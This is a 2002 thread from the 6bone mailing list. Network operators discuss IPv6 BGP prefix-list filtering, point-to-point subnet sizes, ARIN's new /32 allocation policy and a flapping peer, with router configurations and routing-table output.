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Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is
 UUNET? 
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On Thu, 1 Aug 2002 itojun@iijlab.net wrote:

> >...if someone can tell me what to do here:
> >Border2-BGP(config)# ipv6 prefix-list test1 seq 30 permit 2002::/16 ge 16 le 48
> >% Invalid prefix range for 2002::/16, make sure: len < ge-value <= le-value
> >Any suggestions are greatly appreciated!
> 
> 	you wouldn't want to allow 2002::/16 le 48.  there should be 2002::/16,
> 	nothing else.  see 6to4 RFC.
> 
> itojun
> 

That just solved that problem then. <grin>

ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
ipv6 prefix-list subTLA-only seq 500 deny any

Does anyone see any problems with the above prefix list or will it do the
proper filtering now?


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From michel@arneill-py.sacramento.ca.us Thu Aug  1 08:04:16 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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>> John Fraizier wrote:
>> Border2-BGP(config)# ipv6 prefix-list test1 seq 30 permit
>> 2002::/16 ge 16 le 48
>> % Invalid prefix range for 2002::/16, make sure: len
>> < ge-value <= le-value
>> Any suggestions are greatly appreciated!

> Itojun wrote:
> you wouldn't want to allow 2002::/16 le 48. there should be
> 2002::/16, nothing else.  see 6to4 RFC.

I tend to agree. John, what are you trying to achieve here? Load-balance
between more than one 6to4 relay?

Besides, I would highly recommend to be your own 6to4 relay if this
router has IPv4 connectivity, which still is the case for most.

Michel.


From michel@arneill-py.sacramento.ca.us Thu Aug  1 08:26:43 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Jao,

> rfc2374 is basically out of date - the terminology and boundaries 
> referring to TLA, NLA etc are not applicable any more. So, your /32 
> is yours to subdivide as you wish - the minimum amount you give to 
> any site is a /48, you use /64 for point-to-point links (and as 
> Michel said, pick a /48 block to number your p-t-p links out of - 
> which gives you 65k p-t-ps).

> Jao wrote:
> Indeed, and that is my concern. The experts are referring
> people to outdated documents describing features that in
> some cases the WG has dropped *years* ago (TLA, NLA, the
> 8 bit reserved field).

The fact of the matter is that the RFC has not been obsoleted yet. I
agree that there is a consensus that it's going away, but this is not
official yet.

Two more precisions:

- As far as the 6bone is concerned, there is no replacement for "pTLA"
as of today I know of. In this context, the use of "sTLA" is perfectly
fine as far as I am concerned too.

- There is no replacement I know for "SLA bits" either. In the lack of a
better term, I'll continue to use it.

If officially there is no fixed /48 boundary, it is the recommendation
of RIRs that all sites are given a /48, and I have not seen any examples
of ISPs assigning anything else than a /48 to a site and a /64 for a
single subnet.


> And by the way, a /126 is perfect for Point-to-point

No, it is as illegal with draft-ietf-ipngwg-addr-arch-v3-08.txt than it
is with RFC2374, read draft-ietf-ipngwg-addr-arch-v3-08.txt again.

Michel.


From kre@munnari.OZ.AU Thu Aug  1 08:45:49 2002
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    Date:        Wed, 31 Jul 2002 08:00:10 -0700
    From:        "Michel Py" <michel@arneill-py.sacramento.ca.us>
    Message-ID:  <2B81403386729140A3A899A8B39B046405E22B@server2000.arneill-py.sacramento.ca.us>

  | > And what is a /126 allocation for a point-to-point link?
  | 
  | Not good, it violates RFC2373.

which is totally harmless.

  | You should use a /64 for point-to-point links.

That is an option.

  | It is typical to allocate a /48 for your ptp links.

If you have a /32 (or similar), that's nice (and I appreciate that was the
context of the question).   But most users will have just one /48, allocating
that to p2p links would be a bit drastic...

Personally, I use /112's for p2p links.   Works just fine.  Scales wonderfully.

kre


From michel@arneill-py.sacramento.ca.us Thu Aug  1 08:46:59 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> John Fraizier wrote:
> ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
> ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
> ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
> ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
> ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
> ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
> ipv6 prefix-list subTLA-only seq 500 deny any

> Does anyone see any problems with the above prefix list or will it
> do the proper filtering now?

Remarks on this:
- I think that seq 30 (6to4) could be optional. I don't think we want
this route floating on the 6bone.
 
- If we keep seq 20, seq 30 is useless anyway as it will match seq 20.

Besides, can someone explain me the reason for seq 20?
I am not sure we want to see 2001::/16 or 3ffe::/16 as aggregates in the
routing table, there are issues with source address selection doing
this.

Michel.


From tony@lava.net Thu Aug  1 10:07:43 2002
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To: Robert Elz <kre@munnari.OZ.AU>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
   Nick Kraal <nick@arc.net.my>, <6bone@mailman.isi.edu>
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning 
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On Thu, 1 Aug 2002, Robert Elz wrote:

>     Date:        Wed, 31 Jul 2002 08:00:10 -0700
>     From:        "Michel Py" <michel@arneill-py.sacramento.ca.us>
>     Message-ID:  <2B81403386729140A3A899A8B39B046405E22B@server2000.arneill-py.sacramento.ca.us>
>
>   | > And what is a /126 allocation for a point-to-point link?
>   |
>   | Not good, it violates RFC2373.
>
> which is totally harmless.
>
>   | You should use a /64 for point-to-point links.
>
> That is an option.
>
>   | It is typical to allocate a /48 for your ptp links.
>
> If you have a /32 (or similar), that's nice (and I appreciate that was the
> context of the question).   But most users will have just one /48, allocating
> that to p2p links would be a bit drastic...
>
> Personally, I use /112's for p2p links.   Works just fine.  Scales wonderfully.

For us, assigning on nibble boundaries for multiple-subnet sites scales
much better too than the one-size-fits-all /48.


From bmanning@ISI.EDU Thu Aug  1 10:14:11 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is UUNET?
In-Reply-To: <Pine.LNX.4.21.0208011016010.3700-100000@Overkill.EnterZone.Net> from John Fraizer at "Aug 1, 2 10:20:18 am"
To: tvo@EnterZone.Net (John Fraizer)
Date: Thu, 1 Aug 2002 10:14:04 -0700 (PDT)
Cc: itojun@iijlab.net, jeroen@unfix.org, 6bone@ISI.EDU
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% ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
% ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
% ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
% ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
% ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
% ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
% ipv6 prefix-list subTLA-only seq 500 deny any
% 
% Does anyone see any problems with the above prefix list or will it do the
% proper filtering now?
% 

	Well, there are the few prefixes in 2001::/16 space that
	should -not- be aggregated that were covered earlier
	in this thread.  Depending on what you want to do wrt
	exchanges and criticial infrastructure pieces, you 
	may wish to adjust your filters to allow /48s from the 
	respective /32's.
	
--bill

From tvo@EnterZone.Net Thu Aug  1 10:19:10 2002
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Date: Thu, 1 Aug 2002 13:18:06 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: itojun@iijlab.net, Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
Subject: RE: [6bone] In the summer time, we got cleaning to do... Where is
 UUNET? 
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On Thu, 1 Aug 2002, Michel Py wrote:

> >> John Fraizier wrote:
> >> Border2-BGP(config)# ipv6 prefix-list test1 seq 30 permit
> >> 2002::/16 ge 16 le 48
> >> % Invalid prefix range for 2002::/16, make sure: len
> >> < ge-value <= le-value
> >> Any suggestions are greatly appreciated!
> 
> > Itojun wrote:
> > you wouldn't want to allow 2002::/16 le 48. there should be
> > 2002::/16, nothing else.  see 6to4 RFC.
> 
> I tend to agree. John, what are you trying to achieve here? Load-balance
> between more than one 6to4 relay?
> 
> Besides, I would highly recommend to be your own 6to4 relay if this
> router has IPv4 connectivity, which still is the case for most.
> 
> Michel.


I was simply building filters based on the following quote from Jeroen:

=======BEGIN QUOTE=======
Just to make sure everybody gets it again:
8<--------------------
3ffe::/18 ge 24 le 24
3ffe:4000::/18 ge 32 le 32
3ffe:8000::/20 ge 28 le 28
2000::/3 ge 16 le 16
2001::/16 ge 29 le 35
2002::/16 ge 16 le 48

or as seen on 6bone.net:
3ffe:0000::/24 thru 3ffe:3f00::/24      /24
3ffe:4000::/32 thru 3ffe:7fff::/32      /32
3ffe:8000::/24 thru 3ffe:83f0::/24      /28

3ffe:8400::/32 thru 3ffe:ffff::/32 can be filtered
out completely as it will be unassigned for a long time to come.

RIR space (2001::/16) will become /32 only in the long run.
-------------------->8

IPv6 - Just keep it clean, filter.

Greets,
 Jeroen
=======END QUOTE=======



Notice the line that says "2002::/16 ge 16 le 48"...  That's why I was
trying to build the filter that way.

I've since updated our filters on peers as follows:

(We'll use your peering session as an example Michel)



router bgp 13944
 neighbor 3ffe:1ced:ff02::2 remote-as 23169
 neighbor 3ffe:1ced:ff02::2 description ARNEILLPY
 no neighbor 3ffe:1ced:ff02::2 activate
!
 address-family ipv6
 neighbor 3ffe:1ced:ff02::2 activate
 neighbor 3ffe:1ced:ff02::2 next-hop-self
 neighbor 3ffe:1ced:ff02::2 prefix-list AS-ARNEILLPY in
 neighbor 3ffe:1ced:ff02::2 prefix-list subTLA-only out
 neighbor 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY in
 exit-address-family
!
ipv6 prefix-list AS-ARNEILLPY seq 10 permit 3ffe:1ced:a002::/48
ipv6 prefix-list subTLA-only seq 1 permit 3ffe:1ced::/32
ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
ipv6 prefix-list subTLA-only seq 500 deny any
!
route-map AS-ARNEILLPY permit 10
 match ipv6 address prefix-list subTLA-only
!
route-map AS-ARNEILLPY permit 20
 match ipv6 address prefix-list AS-ARNEILLPY
 set community no-export additive
!




Basically, on YOUR peering session, I'm prefix-list filtering you based on
ipv6 prefix-list AS-ARNEILLPY.  The route-map is a "stock" route-map that
is applied to EVERY peer.

If the peer isn't being prefix-list filtered on the way in, and they show
us VALID prefixes that pass ipv6 prefix-list subTLA-only, we accept them
and will redistribute them.

If they are showing us more-specifics (unaggregated) that I have allowed
in ipv6 prefix-list AS-[PEERNAME] we accept them but tag them with the
no-export community and don't redistribute them.

After applying the new filters, we had one peer go from WELL over 300
prefixes to 253 prefixes.

So, in summary, we'll accept more-specifics, by arrangement, but will not
redistribute them outside of our AS.  Everything else has to be within the
aggregation guidelines or we don't accept it at all and with the exception
of 3ffe:1ced::/32 (and we all know the story behind that) we shouldn't be
showing anyone any prefixes that are outside of the aggregation
guidelines.

Does anyone see any flaw in the above policy?  I've thought about how to
do this correctly for the past week or so and finally implemented the new
policy a few minutes ago.

It looks like we're showing peers 254 prefixes right now INCLUDING the
3ffe:1ced::/32 specific.

Any comments appreciated.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |






From daniel@kewlio.net Thu Aug  1 10:20:58 2002
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Cc: <itojun@iijlab.net>, <jeroen@unfix.org>, <6bone@ISI.EDU>
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Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is UUNET?
Date: Thu, 1 Aug 2002 18:21:02 +0100
Organization: kewlio.net Limited
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Those would be from the following...

2001:478::/32
2001:7f8::/32

For any lazy people out there ;-)


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


----- Original Message -----
From: "Bill Manning" <bmanning@ISI.EDU>
To: "John Fraizer" <tvo@EnterZone.Net>
Cc: <itojun@iijlab.net>; <jeroen@unfix.org>; <6bone@ISI.EDU>
Sent: Thursday, August 01, 2002 6:14 PM
Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is
UUNET?


> % ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
> % ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
> % ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
> % ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
> % ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
> % ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
> % ipv6 prefix-list subTLA-only seq 500 deny any
> %
> % Does anyone see any problems with the above prefix list or will it do
the
> % proper filtering now?
> %
>
> Well, there are the few prefixes in 2001::/16 space that
> should -not- be aggregated that were covered earlier
> in this thread.  Depending on what you want to do wrt
> exchanges and criticial infrastructure pieces, you
> may wish to adjust your filters to allow /48s from the
> respective /32's.
>
> --bill
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From bmanning@ISI.EDU Thu Aug  1 10:26:19 2002
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From: Bill Manning <bmanning@ISI.EDU>
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	This flopped into the inbox this AM.

	So, if one were to adjust filtering policies, one might
	want to accept /35s in the range delegated thus far in
	the ARIN space and /32s from here on out.  


-------------
Date: Thu, 1 Aug 2002 11:54:37 -0400 (EDT)

Hello,

Beginning today, August 1, 2002, new IPv6 policies have been implemented
in the ARIN region.  Information about these new policies can be found
at:

  http://www.arin.net/registration/ipv6/index.html

One of the most significant changes in policy is that the minimum
allocation size issued by ARIN has moved from a /35 to a /32.
...
---------------


-- bill

From tvo@EnterZone.Net Thu Aug  1 10:47:42 2002
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Date: Thu, 1 Aug 2002 13:47:38 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Bill Manning <bmanning@ISI.EDU>
cc: itojun@iijlab.net, jeroen@unfix.org, 6bone@ISI.EDU
Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is
 UUNET?
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On Thu, 1 Aug 2002, Bill Manning wrote:

> % ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
> % ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
> % ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
> % ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
> % ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
> % ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
> % ipv6 prefix-list subTLA-only seq 500 deny any
> % 
> % Does anyone see any problems with the above prefix list or will it do the
> % proper filtering now?
> % 
> 
> 	Well, there are the few prefixes in 2001::/16 space that
> 	should -not- be aggregated that were covered earlier
> 	in this thread.  Depending on what you want to do wrt
> 	exchanges and criticial infrastructure pieces, you 
> 	may wish to adjust your filters to allow /48s from the 
> 	respective /32's.
> 	
> --bill
> 

I've got ya covered Bill:

Border2-BGP# sh ipv6 prefix-list AS-ISI-LAP
ipv6 prefix-list AS-ISI-LAP: 5 entries
   seq 10 permit 3ffe::/24
   seq 20 permit 3ffe:800::/24
   seq 30 permit 2001:478:2::/48
   seq 40 permit 2001:478:4::/48
   seq 50 permit 2001:478:6::/48

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Thu Aug  1 10:51:58 2002
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Date: Thu, 1 Aug 2002 13:51:54 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Bill Manning <bmanning@ISI.EDU>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] New IPv6 Policies in the ARIN Region
In-Reply-To: <200208011726.g71HQII17794@boreas.isi.edu>
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I don't know why anyone would opt not to upgrade to the /32.  There is no
additional justification or fees required.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Thu, 1 Aug 2002, Bill Manning wrote:

> 
> 	This flopped into the inbox this AM.
> 
> 	So, if one were to adjust filtering policies, one might
> 	want to accept /35s in the range delegated thus far in
> 	the ARIN space and /32s from here on out.  
> 
> 
> -------------
> Date: Thu, 1 Aug 2002 11:54:37 -0400 (EDT)
> 
> Hello,
> 
> Beginning today, August 1, 2002, new IPv6 policies have been implemented
> in the ARIN region.  Information about these new policies can be found
> at:
> 
>   http://www.arin.net/registration/ipv6/index.html
> 
> One of the most significant changes in policy is that the minimum
> allocation size issued by ARIN has moved from a /35 to a /32.
> ...
> ---------------
> 
> 
> -- bill
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From bmanning@ISI.EDU Thu Aug  1 10:59:15 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] New IPv6 Policies in the ARIN Region
In-Reply-To: <Pine.LNX.4.21.0208011351000.8288-100000@Overkill.EnterZone.Net> from John Fraizer at "Aug 1, 2 01:51:54 pm"
To: tvo@EnterZone.Net (John Fraizer)
Date: Thu, 1 Aug 2002 10:59:05 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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	I can't either, -BUT- apparently the delegee must request
	the change... ARIN will not do it unless requested.


% 
% I don't know why anyone would opt not to upgrade to the /32.  There is no
% additional justification or fees required.
% 
% 
% 
% ---
% John Fraizer              | High-Security Datacenter Services |
% EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
% http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
% 
% 
% On Thu, 1 Aug 2002, Bill Manning wrote:
% 
% > 
% > 	This flopped into the inbox this AM.
% > 
% > 	So, if one were to adjust filtering policies, one might
% > 	want to accept /35s in the range delegated thus far in
% > 	the ARIN space and /32s from here on out.  
% > 
% > 
% > -------------
% > Date: Thu, 1 Aug 2002 11:54:37 -0400 (EDT)
% > 
% > Hello,
% > 
% > Beginning today, August 1, 2002, new IPv6 policies have been implemented
% > in the ARIN region.  Information about these new policies can be found
% > at:
% > 
% >   http://www.arin.net/registration/ipv6/index.html
% > 
% > One of the most significant changes in policy is that the minimum
% > allocation size issued by ARIN has moved from a /35 to a /32.
% > ...
% > ---------------
% > 
% > 
% > -- bill
% > _______________________________________________
% > 6bone mailing list
% > 6bone@mailman.isi.edu
% > http://mailman.isi.edu/mailman/listinfo/6bone
% > 
% 


-- 
--bill

From jeroen@unfix.org Thu Aug  1 12:33:36 2002
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To: "'John Fraizer'" <tvo@EnterZone.Net>,
   "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
Cc: <itojun@iijlab.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] In the summer time, we got cleaning to do... Where is UUNET? 
Date: Thu, 1 Aug 2002 21:32:29 +0200
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John Fraizer wrote:

> On Thu, 1 Aug 2002, Michel Py wrote:
> 
> > >> John Fraizier wrote:
> > >> Border2-BGP(config)# ipv6 prefix-list test1 seq 30 permit
> > >> 2002::/16 ge 16 le 48
> > >> % Invalid prefix range for 2002::/16, make sure: len
> > >> < ge-value <= le-value
> > >> Any suggestions are greatly appreciated!
> > 
> > > Itojun wrote:
> > > you wouldn't want to allow 2002::/16 le 48. there should be
> > > 2002::/16, nothing else.  see 6to4 RFC.
> > 
> > I tend to agree. John, what are you trying to achieve here?
Load-balance
> > between more than one 6to4 relay?
> > 
> > Besides, I would highly recommend to be your own 6to4 relay if this
> > router has IPv4 connectivity, which still is the case for most.
> > 
> > Michel.
> 
> 
> I was simply building filters based on the following quote 
> from Jeroen:

Juppers, I thought that it was being nice to do 6to4 on /48's but I was
wrong ofcourse ;)

So the list becomes: 
8<--------------------
3ffe::/18 ge 24 le 24
3ffe:4000::/18 ge 32 le 32
3ffe:8000::/20 ge 28 le 28
2000::/3 ge 16 le 16
2001::/16 ge 29 le 35
2002::/16 ge 16 le 16
-------------------->8

Greets,
 Jeroen


From tvo@EnterZone.Net Thu Aug  1 13:08:50 2002
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Date: Thu, 1 Aug 2002 16:08:48 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: 6bone@ISI.EDU
Message-ID: <Pine.LNX.4.21.0208011606590.13491-100000@Overkill.EnterZone.Net>
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Subject: [6bone] Instability incarnate
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Serious flappage going on here...(and it ain't us!)

BGP routing table entry for 3FFE:1CED::/32, version 90420
Paths: (2 available, best #2)
  Advertised to non peer-group peers:
  2001:6E0::2 2001:768:E:5::1 3FFE:80B0:100:8000::3 3FFE:8100:102::1:9 
  3FFE:8100:200:2FFF::9 195.74.212.38 
  45328 2042 24765 13944 (history entry)
    3FFE:8100:200:2FFF::9 from 3FFE:8100:200:2FFF::9 (131.211.28.48)
      Origin IGP, localpref 100, external
      Dampinfo: penalty 7047, flapped 126 times in 07:28:28
  15589 24765 13944, (received & used)
    3FFE:8170:1:10::1 from 3FFE:8170:1:10::1 (192.168.1.12)
      Origin IGP, localpref 100, valid, external, best


BGP routing table entry for 2001:4F0::/35, version 89613
Paths: (5 available, best #5)
  Advertised to non peer-group peers:
  2001:6E0::2 2001:768:E:5::1 3FFE:80B0:100:8000::3 3FFE:8100:102::1:9 
  3FFE:8100:200:2FFF::9 195.74.212.38 
  45328 2042 24765 13944, (suppressed due to dampening), (received & used)
    3FFE:8100:200:2FFF::9 from 3FFE:8100:200:2FFF::9 (131.211.28.48)
      Origin IGP, localpref 100, valid, external
      Dampinfo: penalty 6134, flapped 128 times in 07:31:31, reuse in 00:45:30
  8379 24765 13944, (received & used)
    2001:768:E:5::1 from 2001:768:E:5::1 (195.143.108.166)
      Origin IGP, localpref 100, valid, external
  5594 13193 109 13944, (received & used)
    3FFE:8100:102::1:9 from 3FFE:8100:102::1:9 (195.154.1.6)
      Origin IGP, localpref 100, valid, external
  1849 24765 13944, (received & used)
    2001:600:4:1F1::1 from 2001:600:4:1F1::1 (158.43.131.66)
      Origin IGP, localpref 100, valid, external
  15589 24765 13944, (received & used)
    3FFE:8170:1:10::1 from 3FFE:8170:1:10::1 (192.168.1.12)
      Origin IGP, localpref 100, valid, external, best


I don't know who is flapping in the breeze in this path "45328 2042
24765" but, I'll tell ya folks right now, if you have peers like that,
it's in your best interest to de-peer.

If this is prominant on the 6bone, I now understand what the fuss is
about.  I won't keep a peer like that, period, the end.  We have one
flapper right now.  I don't know what their problem is as they haven't
replied to my emails.  It's "customer-routes:customer-routes" peering
though so, the damage is at least limited to our peering session.  If they
don't reply with a satisfactory answer as in "We found a problem and are
(contacting the vendor | replacing the hardware | firing the fool who kept
unplugging the router | upgrading the software)" I'll have no choice but
to admin-shutdown the session until they get their end fixed.

So, in summary: If your peers flap in the breeze like the above example,
find out why and fix it or drop the peering.  It's not worth it.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From gert@Space.Net Thu Aug  1 13:16:48 2002
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From: Gert Doering <gert@space.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Joao Luis Silva Damas <joao@ripe.net>, Philip Smith <pfs@cisco.com>,
   Nick Kraal <nick@arc.net.my>, 6bone@mailman.isi.edu
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
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Hi,

On Thu, Aug 01, 2002 at 08:26:35AM -0700, Michel Py wrote:
> > And by the way, a /126 is perfect for Point-to-point
> 
> No, it is as illegal with draft-ietf-ipngwg-addr-arch-v3-08.txt than it
> is with RFC2374, read draft-ietf-ipngwg-addr-arch-v3-08.txt again.

Whether the standard says it's illegal or not, /127s works fine (yes,
even /127).  Why create ambiguities by assigning more than 2 IPs to
something that needs exactly 2?

We run /127 transit networks on all our tunnel and serial ptp
interfaces, it works fine, and by looking at one end you immediately
know which IP the other end will have.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46284  (46191)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From daniel@kewlio.net Thu Aug  1 13:21:03 2002
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Subject: Re: [6bone] Instability incarnate
Date: Thu, 1 Aug 2002 21:21:29 +0100
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------=_NextPart_000_009E_01C239A1.66FEFCE0
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	charset="iso-8859-1"
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Hello,

3ffe:80d0:fffc:10::40
                4  2042    5096    5609        0    0    0 1d03h13m      230

AS24765 <--> AS2042    no flaps between us and mimos...


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "John Fraizer" <tvo@EnterZone.Net>
To: <6bone@ISI.EDU>
Sent: Thursday, August 01, 2002 9:08 PM
Subject: [6bone] Instability incarnate


>
> Serious flappage going on here...(and it ain't us!)
>
> BGP routing table entry for 3FFE:1CED::/32, version 90420
> Paths: (2 available, best #2)
>   Advertised to non peer-group peers:
>   2001:6E0::2 2001:768:E:5::1 3FFE:80B0:100:8000::3 3FFE:8100:102::1:9
>   3FFE:8100:200:2FFF::9 195.74.212.38
>   45328 2042 24765 13944 (history entry)
>     3FFE:8100:200:2FFF::9 from 3FFE:8100:200:2FFF::9 (131.211.28.48)
>       Origin IGP, localpref 100, external
>       Dampinfo: penalty 7047, flapped 126 times in 07:28:28
>   15589 24765 13944, (received & used)
>     3FFE:8170:1:10::1 from 3FFE:8170:1:10::1 (192.168.1.12)
>       Origin IGP, localpref 100, valid, external, best
>
>
> BGP routing table entry for 2001:4F0::/35, version 89613
> Paths: (5 available, best #5)
>   Advertised to non peer-group peers:
>   2001:6E0::2 2001:768:E:5::1 3FFE:80B0:100:8000::3 3FFE:8100:102::1:9
>   3FFE:8100:200:2FFF::9 195.74.212.38
>   45328 2042 24765 13944, (suppressed due to dampening), (received & used)
>     3FFE:8100:200:2FFF::9 from 3FFE:8100:200:2FFF::9 (131.211.28.48)
>       Origin IGP, localpref 100, valid, external
>       Dampinfo: penalty 6134, flapped 128 times in 07:31:31, reuse in
00:45:30
>   8379 24765 13944, (received & used)
>     2001:768:E:5::1 from 2001:768:E:5::1 (195.143.108.166)
>       Origin IGP, localpref 100, valid, external
>   5594 13193 109 13944, (received & used)
>     3FFE:8100:102::1:9 from 3FFE:8100:102::1:9 (195.154.1.6)
>       Origin IGP, localpref 100, valid, external
>   1849 24765 13944, (received & used)
>     2001:600:4:1F1::1 from 2001:600:4:1F1::1 (158.43.131.66)
>       Origin IGP, localpref 100, valid, external
>   15589 24765 13944, (received & used)
>     3FFE:8170:1:10::1 from 3FFE:8170:1:10::1 (192.168.1.12)
>       Origin IGP, localpref 100, valid, external, best
>
>
> I don't know who is flapping in the breeze in this path "45328 2042
> 24765" but, I'll tell ya folks right now, if you have peers like that,
> it's in your best interest to de-peer.
>
> If this is prominant on the 6bone, I now understand what the fuss is
> about.  I won't keep a peer like that, period, the end.  We have one
> flapper right now.  I don't know what their problem is as they haven't
> replied to my emails.  It's "customer-routes:customer-routes" peering
> though so, the damage is at least limited to our peering session.  If they
> don't reply with a satisfactory answer as in "We found a problem and are
> (contacting the vendor | replacing the hardware | firing the fool who kept
> unplugging the router | upgrading the software)" I'll have no choice but
> to admin-shutdown the session until they get their end fixed.
>
> So, in summary: If your peers flap in the breeze like the above example,
> find out why and fix it or drop the peering.  It's not worth it.
>
>
>
> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
>
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

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From tvo@EnterZone.Net Thu Aug  1 13:29:29 2002
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Date: Thu, 1 Aug 2002 16:29:17 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Daniel Austin <daniel@kewlio.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Instability incarnate
In-Reply-To: <00a201c23999$059f4a20$611c08d9@kewlio.net>
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It figures it is someone without a real ASN that is flapping.


humbolt.nl.linux.org (131.211.28.48)

tunnel:       IPv6 in IPv4 m6.ipv6.euronet.be -> humbolt.nl.linux.org COMPENDIUM BGP4+

So, the flapper is COMPENDIUM.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Thu, 1 Aug 2002, Daniel Austin wrote:

> Hello,
> 
> 3ffe:80d0:fffc:10::40
>                 4  2042    5096    5609        0    0    0 1d03h13m      230
> 
> AS24765 <--> AS2042    no flaps between us and mimos...
> 
> 
> With Thanks,
> 
> Daniel Austin,
> Managing Director,
> kewlio.net Limited.
> <daniel@kewlio.net>

> >   45328 2042 24765 13944, (suppressed due to dampening), (received & used)
> >     3FFE:8100:200:2FFF::9 from 3FFE:8100:200:2FFF::9 (131.211.28.48)
